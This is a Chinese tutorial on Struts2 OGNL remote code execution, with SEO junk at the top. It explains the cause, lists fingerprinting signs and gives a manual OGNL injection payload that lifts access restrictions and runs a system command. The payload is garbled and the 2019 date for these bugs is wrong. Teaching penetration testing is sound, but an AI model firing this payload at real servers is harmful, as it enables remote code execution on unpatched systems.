企业邮箱 网站建设,公司企业文化墙制作,wordpress centos6,二手手表网站文章目录 一、Struts2框架介绍二、Struts2远程代码执行漏洞三、Struts2执行代码的原理四、Struts2框架特征五、漏洞手工POC六、漏洞工具复现 一、Struts2框架介绍
------ Struts2是apache项目下的一个web 框架#xff0c;普遍应用于阿里巴巴、京东等互联网、政府、企业门户网… 文章目录 一、Struts2框架介绍二、Struts2远程代码执行漏洞三、Struts2执行代码的原理四、Struts2框架特征五、漏洞手工POC六、漏洞工具复现 一、Struts2框架介绍
------ Struts2是apache项目下的一个web 框架普遍应用于阿里巴巴、京东等互联网、政府、企业门户网站。
------ Struts框架本身分为三个部分核心控制器FilterDispatcher、业务控制器Action和用户实现的企业业务逻辑组件。 二、Struts2远程代码执行漏洞
------ Struts2漏洞是一个经典的漏洞系列是在2019年被报出来的根源在于Struts2引入了OGNL表达式使得框架具有灵活的动态性。随着整体框架的补丁完善现在想挖掘新的Struts2漏洞会比以前困难很多从实际了解的情况来看大部分用户早就修复了历史的高危漏洞。目前在做渗透测试时Struts2漏洞主要也是碰碰运气或者是打到内网之后用来攻击没打补丁的系统会比较有效。 三、Struts2执行代码的原理
------ Struts2的动态性在于 OGNL表达式可以获取到运行变量的值并且有机会执行函数调用。如果可以把恶意的请求参数送到 OGNL的执行流程中就会导致任意代码执行漏洞。
------ Struts2的rce本质都是一样的(除了S2-052以外)都是Struts2框架执行了恶意用户传进来的 OGNL表达式造成远程代码执行。可以造成“命令执行、服务器文件操作、打印回显、获取系统属性、危险代码执行”等只不过需要精心构造不同的 OGNL代码而已。 四、Struts2框架特征 查看被测应用系统的源码URL接口地址以 “.action” “.do”结尾或者地址中包含“!”符号 在被测应用的服务器上查看应用所在目录/WEB-INF/lib/下的jar文件若存在struts2-core2.*.**.jar 或 xwork-core-2.*.**.jar格式的jar文件则需检测是否存在Struts2远程代码执行漏洞。 五、漏洞手工POC
poc (%23_memberAccess[‘allowPrivateAccess’]true,%23_memberAccess[‘allowProtectedAccess’]true,%23_memberAccess[‘excludedPackageNamePatterns’]%23_memberAccess[‘acceptProperties’],%23_memberAccess[‘excludedClasses’]%23_memberAccess[‘acceptProperties’],%23_memberAccess[‘allowPackageProtectedAccess’]true,%23_memberAccess[‘allowStaticMethodAccess’]true,org.apache.commons.io.IOUtilstoString(java.lang.RuntimegetRuntime().exec(‘id’).getInputStream())) 注意有些情况利用的时候要记得url编码
其他struts2版本的POC可以参考 https://vulhub.org/#/environments/struts2/ 六、漏洞工具复现